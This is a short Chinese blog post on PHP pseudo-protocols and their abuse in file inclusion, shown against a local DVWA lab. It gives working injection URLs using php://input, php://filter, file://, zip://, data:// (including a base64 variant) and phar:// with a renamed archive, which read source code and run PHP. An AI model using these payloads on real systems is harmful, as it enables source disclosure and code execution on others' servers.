php伪协议小结[web安全]

PHP伪协议:

协议 功能
file:// 访问本地文件,需要绝对路径
http:// 访问http/https
ftp:// 访问ftp
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// php归档
ssh2::// secure shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理式交互流
php:// 访问各个输入/输出流

部分协议会受到配置文件中allow_url_fopen和allow_url_include所影响
伪协议在攻防中,通常被文件包含漏洞或者xxe所利用

php://
不受allow_url_fopen影响
php://inputphp://stdinphp://memoryphp://temp受allow_url_include影响

php://input
可以访问POST的内容
当enctype="multipart/from-data"时,php://input无效
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://input
post提交<?php phpinfo()?>


php://filter
php://filter可以读写文件
在文件包含页面读取源码:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
读出的源码经过了base64编码,不经过base64编码的话会直接执行

file://
不受allow_url_fopen和allow_url_include影响
使用方法: file://+[文件绝对路径]
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=file://c:/windows/win.ini

成功读取到win.ini的内容

zip://、bzip://、zlib://
不受allow_url_fopen和allow_url_include影响
使用方法:zip://[压缩包绝对路径]#[压缩包文件的子文件名]
写入<?php phpinfo();?>到1.txt并压缩到c://1.zip
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=zip://c:/1.zip%231.txt (这里我用#号会报错,所以使用了%23)

data://
受allow_url_fopen和allow_url_include影响
可以利用该协议执行代码
page=data://text/plain,<?php phpinfo()?>
如果有符号被过滤可以试试base64编码page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

phar://
写入<?php phpinfo();?>到1.txt并压缩到c://1.zip,改后缀名为1.jpg
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=phar://c:/1.jpg/1.txt


可以看到这样也可以执行php代码

推荐阅读更多精彩内容